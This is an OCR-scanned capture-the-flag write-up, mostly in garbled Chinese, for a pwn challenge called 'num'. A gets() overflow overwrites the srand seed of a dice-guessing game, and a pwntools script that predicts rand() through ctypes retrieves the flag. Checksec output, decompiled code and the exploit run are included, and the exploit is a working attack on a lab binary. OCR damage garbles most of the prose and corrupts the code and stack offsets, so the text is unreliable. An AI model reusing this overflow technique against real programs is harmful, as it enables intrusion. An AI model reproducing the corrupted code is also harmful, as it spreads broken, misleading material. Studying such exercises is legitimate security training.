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Documents$ sudo -s

[sudo] pwn BIZE 1 :

CTF# checksec num

[*] '/home/pwn/Documents/num’
Arch: amd64-64-1ittle
RELRO:
Stack:
NX:
PI1E:

CTF# ./num

Please let me know your name!
Your name:111111111111
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int i; // [rsp+8h] [rbp-38h]

int vb; // [rsp+Ch] [rbp-34h]

char v7[32]; // [rsp+18h] [rbp-36h] BYREF
unsigned int seed[2]; // [rsp+30h] [rbp-16h]
unsigned __int6d v9; // [rsp+38h] [rbp-8h]

v8 = _ readfsgword(@x28u);
setbuf(stdin, @LL);
setbuf(stdout, OLL);
setbuf(stderr, OLL);

vl = @;

v = d;

*(_QWORD *)seed = sub_BBO();
puts("---------"-"""- "Y;
puts(“Welcome to a guess number game!");
puts("---------"-"""- "Y;

puts(“Please let me know your name!™);
printf("Your name:");

gets(v7);
srand(seed[0]);
'FDI"(i:a;i{:g; ++:i.::l
{
vo = rand() % 6 + 1;
printf("------------- Turn:%d------------- \n", (unsigned int)(i + 1));

printf("Please input your guess number:");
_1s50c99 scanf("%d", &vid);
puts("----------mmm ")
if (vl 1= wvo )
{

puts("GG!");

exit(1l);
¥

puts("Success!");
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rand() srand()

rand() ek £ A BBENLEL, (EXANBENLEHE A & B BENL, T2 F AR BEL, Frand() R $2 /T, 7T LA A
srand() R H X B FEVLEF 7, WREF REENEFM T, rand)RBEFEAN, B3R TTHEVLEFRTFR1.

AR At P XA B BLE BRATIE £ 7, BATAT LA AT O E, XA R BORTE JE 0 T £ Flflag

(BERMALRE BEIE)

\||-0000000000000034 var 34 dd ?
-PPPAPAPARARARA30 var 30 db 32 dup(?)
-9PEPAAARRRRRALO seed dd 2 dup(2) . ..
-9000PPARORRPAARS var 8 da ? .

i K E 0x30-0x10

exp



from pwn import*

from ctypes import* //FBEZ ANEHE

elf=ELF('./num")

p=process('./num")

libc = cdll.LoadLibrary("/1ib/x86_64-1inux-gnu/libc.so.6")

payload=b'a'*(0x30-0x10)+p64(1)
p.sendlineafter('name:',payload)

for i in range(10):
p.sendlineafter('number:',str(libc.rand()%6+1)) / /BB EZ A

p.interactive()

G!

TF# python3 n.py

[*] '/home/pwn/Documents/num’
Arch: amd64-64-1little
RELRO:
Stack:
NX:

PIE:
[+] Starting local process './num': pid 1862

[*] Switching to interactive mode

Success!

ou are a prophet!

ere is your flag'cat: flag: EEH I XHEHBE R

[*] Process './num' stopped with exit code 0 (pid 1862)
[“] Got EOF while reading in interactive
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